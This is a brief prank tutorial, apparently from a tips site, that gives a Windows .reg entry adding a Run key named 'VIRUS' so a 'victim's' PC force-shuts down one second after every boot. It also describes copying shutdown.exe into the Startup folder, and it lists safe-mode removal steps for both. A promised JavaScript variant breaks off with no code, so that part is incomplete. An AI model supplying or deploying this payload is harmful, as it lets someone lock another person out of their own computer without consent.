Shutdown ur friend's comp when everytime it starts

put this following text in a .reg file and run it in the victims pc:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"

How to counter this

• Start windows in safe mode 
• Open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
• Remove the string value named VIRUS 
• Restart you computer.

You can also put this in a javascript code, just  add this code to your webpage: 

OR

1. Go to c:/windows/system32(This tricks works only in windows 7 and below)
2. Search for shutdown and copy as shortcut to c:/users/username/startup/(paste as shortcut)
3. Restart pc to find whether its working or not

How to counter this

• Simply delete the shortcut in startup folder by starting windows in safe mode